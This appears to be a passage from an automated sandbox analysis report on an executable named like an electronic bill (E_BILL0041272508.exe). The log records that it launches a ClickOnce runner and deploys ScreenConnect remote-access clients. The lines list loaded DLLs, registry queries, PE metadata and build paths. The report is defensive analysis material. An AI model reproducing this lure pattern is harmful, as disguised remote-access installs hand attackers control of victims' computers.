Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: dfshim.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: samlib.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.ClientService.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe Section loaded: wintypes.dll
Source: C:\Users\user\Desktop\E_BILL0041272508.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00020420-0000-0000-C000-000000000046}\InprocServer32 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Apps\2.0\N5RWKL9C.2MA\OAPVKWJD.WRW\scre..tion_25b0fbb6ef7eb094_0018.0002_8dd4fc92cc8095f0\ScreenConnect.WindowsClient.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: E_BILL0041272508.exe Static PE information: certificate valid
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: E_BILL0041272508.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: E_BILL0041272508.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsFileManager\obj\Release\ScreenConnect.WindowsFileManager.pdb source: ScreenConnect.WindowsFileManager.exe.2.dr, ScreenConnect.WindowsFileManager.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Client\obj\Release\net20\ScreenConnect.Client.pdbU source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E5000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC367000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2385098018.00000000021E2000.00000002.00000001.01000000.0000000F.sdmp, ScreenConnect.Client.dll.2.dr, ScreenConnect.Client.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClickOnceRunner\Release\ClickOnceRunner.pdb source: E_BILL0041272508.exe
Source: Binary string: C:\builds\cc\cwcontrol\Product\ClientService\obj\Release\ScreenConnect.ClientService.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6E1000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC363000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.ClientService.exe, 00000007.00000002.2382809510.0000000002B12000.00000002.00000001.01000000.0000000C.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2435126842.0000000002241000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000009.00000002.2435049004.00000000020E0000.00000004.08000000.00040000.00000000.sdmp, ScreenConnect.ClientService.dll.2.dr, ScreenConnect.ClientService.dll0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdbe source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
Source: Binary string: C:\Users\jmorgan\Source\cwcontrol\Custom\DotNetRunner\Release\DotNetServiceRunner.pdb source: ScreenConnect.ClientService.exe, 00000007.00000000.2378580945.000000000002D000.00000002.00000001.01000000.0000000B.sdmp, ScreenConnect.ClientService.exe.2.dr, ScreenConnect.ClientService.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\Windows\obj\Release\net20\ScreenConnect.Windows.pdb source: dfsvc.exe, 00000002.00000002.3991111838.0000023CCC35F000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC6DD000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.3991111838.0000023CCC789000.00000004.00000800.00020000.00000000.sdmp, ScreenConnect.WindowsClient.exe, 00000006.00000002.2387012518.000000001B472000.00000002.00000001.01000000.0000000E.sdmp, ScreenConnect.Windows.dll0.2.dr, ScreenConnect.Windows.dll.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsBackstageShell\obj\Release\ScreenConnect.WindowsBackstageShell.pdb source: ScreenConnect.WindowsBackstageShell.exe.2.dr, ScreenConnect.WindowsBackstageShell.exe0.2.dr
Source: Binary string: C:\builds\cc\cwcontrol\Product\WindowsClient\obj\Release\ScreenConnect.WindowsClient.pdb source: ScreenConnect.WindowsClient.exe, 00000006.00000000.2369506289.00000000001E2000.00000002.00000001.01000000.0000000A.sdmp, ScreenConnect.WindowsClient.exe0.2.dr, ScreenConnect.WindowsClient.exe.2.dr
